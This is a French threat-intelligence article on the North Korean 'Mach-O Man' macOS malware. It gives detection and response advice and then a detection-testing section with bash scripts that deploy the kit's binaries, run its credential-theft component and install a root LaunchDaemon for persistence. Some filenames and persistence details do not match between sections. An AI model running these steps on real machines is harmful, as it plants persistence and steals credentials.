La campagne Safari de la Corée du Nord livre des RATs

Résumé

L’article décrit un nouveau cadre de malware macOS appelé Mach-O Man qui a été lié à l’unité Chollima célèbre du groupe Lazarus. Le malware est distribué via des comptes Telegram compromis et de fausses invitations à des réunions qui persuadent les cibles d’exécuter une commande ClickFix sur leurs appareils. La boîte à outils comprend plusieurs binaires Mach-O conçus pour rassembler les détails de l’hôte, maintenir la persistance et voler les identifiants ainsi que les données des navigateurs, l’exfiltration ayant lieu via Telegram. La campagne semble se concentrer sur les échanges de cryptomonnaies et d’autres organisations du secteur financier.

Enquête

Les chercheurs ont identifié un binaire de préparation nommé teamsSDK.bin qui a été téléchargé et exécuté via une séquence de commandes malveillante. Des composants supplémentaires, y compris D1yCPUyk.bin, minst2.bin, et macrasv2, ont ensuite été utilisés pour énumérer le système, créer un LaunchAgent pour la persistance et récolter les extensions de navigateur, les données du trousseau d’accès et les cookies. La communication de commande et contrôle s’appuyait sur un serveur HTTP basé sur Go qui exposait un endpoint /info non authentifié et divulguait un jeton API de bot Telegram. Les enquêteurs ont également trouvé des services d’accès à distance tels que RDP, WinRM et Chrome Remote Desktop exposés sur l’hôte C2.

Atténuation

Les utilisateurs devraient éviter d’interagir avec des liens de réunion non sollicités et confirmer la légitimité de toute commande terminale suggérée lors de conversations inattendues. Les organisations devraient surveiller les LaunchAgents non autorisés, exiger une signature de code de confiance pour les binaires macOS, et restreindre l’exécution de fichiers inconnus. Les défenses du réseau devraient bloquer les connexions sortantes vers des serveurs HTTP basés sur Go suspects et signaler le trafic utilisant l’agent utilisateur Go-http-client . Les jetons de bot Telegram devraient être protégés contre l’exposition, et les services de bureau à distance devraient être sécurisés avec des contrôles d’accès au privilège le plus bas.

Réponse

Les équipes de sécurité devraient détecter l’exécution de fichiers .bin inconnus et surveiller la création de LaunchAgents nommés com.onedrive.launcher. Des alertes devraient également être déclenchées sur les connexions sortantes vers des infrastructures suspectes utilisant l Go-http-client agent utilisateur, ainsi que les requêtes POST répétées vers /info des points de terminaison. Les défenseurs devraient surveiller une activité inattendue de l’API Telegram liée à des jetons de bot non familiers. Une analyse complète de l’hôte devrait être réalisée pour identifier et retirer tous les binaires malveillants, suivi de la réinitialisation des identifiants pour tout compte qui pourrait avoir été compromis.

Exécution de simulation

Prérequis : La vérification de télémétrie et de la base doit être réussie.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (T1546.006/T1587.001) conçue pour déclencher la règle de détection. Les commandes reflètent un déploiement réaliste « vivre de la terre » des binaires Mach‑O Man.

• Narrative de l’attaque & Commandes :

  1. Un attaquant qui a déjà pris pied sur l’hôte macOS copie les quatre binaires Mach‑O Man depuis un emplacement de préparation (/tmp/stage) vers un répertoire accessible en écriture (/usr/local/bin).
  2. Les binaires sont rendus exécutables et lancés séquentiellement pour imiter les phases d’initialisation, de reconnaissance, de persistance et de vol d’identifiants du kit.
  3. La persistance est obtenue en écrivant un plist de démon de lancement pointant vers minst2.bin.

  # Étape 1 – Préparer les binaires (simulé par une copie depuis un dossier d'actifs de test)
  mkdir -p /usr/local/bin/macho
  cp ./assets/teamsSDK.bin /usr/local/bin/macho/
  cp ./assets/D1YrHRTg.bin /usr/local/bin/macho/
  cp ./assets/minst2.bin   /usr/local/bin/macho/
  cp ./assets/macrasv2    /usr/local/bin/macho/
  
  # Étape 2 – Les rendre exécutables
  chmod +x /usr/local/bin/macho/*.bin
  
  # Étape 3 – Exécuter les binaires de préparation et de reconnaissance
  /usr/local/bin/macho/teamsSDK.bin &
  /usr/local/bin/macho/D1YrHRTg.bin &
  
  # Étape 4 – Installer la persistance (daemon de lancement) pour minst2.bin
  cat <<'EOF' > /Library/LaunchDaemons/com.macho.minst2.plist
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>Label</key><string>com.macho.minst2</string>
      <key>ProgramArguments</key>
      <array>
          <string>/usr/local/bin/macho/minst2.bin</string>
      </array>
      <key>RunAtLoad</key><true/>
  </dict>
  </plist>
  EOF
  sudo launchctl load -w /Library/LaunchDaemons/com.macho.minst2.plist
  
  # Étape 5 – Exécuter le composant de vol/exfil d'identifiants
  /usr/local/bin/macho/macrasv2 &

• Script de test de régression : (script bash autonome qui reproduit les étapes ci-dessus)

  #!/usr/bin/env bash
  set -euo pipefail
  
  # --- VARIABLES -------------------------------------------------
  BIN_DIR="/usr/local/bin/macho"
  ASSET_DIR="$(pwd)/assets"
  PLIST="/Library/LaunchDaemons/com.macho.minst2.plist"
  
  # --- PRÉ‑VÉRIFICATION -------------------------------------------
  if [[ $(id -u) -ne 0 ]]; then
    echo "Le script nécessite les droits root pour installer le daemon de lancement. Re‑lancez avec sudo."
    exit 1
  fi
  
  # --- DÉPLOYER LES BINAIRES --------------------------------------
  mkdir -p "$BIN_DIR"
  for bin in teamsSDK.bin D1YrHRTg.bin minst2.bin macrasv2; do
    cp "$ASSET_DIR/$bin" "$BIN_DIR/$bin"
    chmod +x "$BIN_DIR/$bin"
  done
  
  # --- EXÉCUTER STAGER & RECON -------------------------------------
  "$BIN_DIR/teamsSDK.bin" &
  "$BIN_DIR/D1YrHRTg.bin" &
  
  # --- PERSISTENCE (daemon de lancement) ---------------------------
  cat <<'EOF' > "$PLIST"
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>Label</key><string>com.macho.minst2</string>
      <key>ProgramArguments</key>
      <array>
          <string>/usr/local/bin/macho/minst2.bin</string>
      </array>
      <key>RunAtLoad</key><true/>
  </dict>
  </plist>
  EOF
  launchctl load -w "$PLIST"
  
  # --- EXÉCUTER LE COMPOSANT DE VOL D'IDENTIFIANTS -----------------
  "$BIN_DIR/macrasv2" &
  
  echo "Simulation exécutée – attendez quelques secondes pour que la télémétrie apparaisse."

• Commandes de nettoyage :

  #!/usr/bin/env bash
  set -euo pipefail
  
  BIN_DIR="/usr/local/bin/macho"
  PLIST="/Library/LaunchDaemons/com.macho.minst2.plist"
  
  # Décharger le daemon de lancement
  if [[ -f "$PLIST" ]]; then
    sudo launchctl unload -w "$PLIST"
    sudo rm -f "$PLIST"
  fi
  
  # Terminer tout processus malveillant restant
  pkill -f teamsSDK.bin || true
  pkill -f D1YrHRTg.bin || true
  pkill -f minst2.bin   || true
  pkill -f macrasv2    || true
  
  # Supprimer les binaires
  sudo rm -rf "$BIN_DIR"
  
  echo "Nettoyage terminé."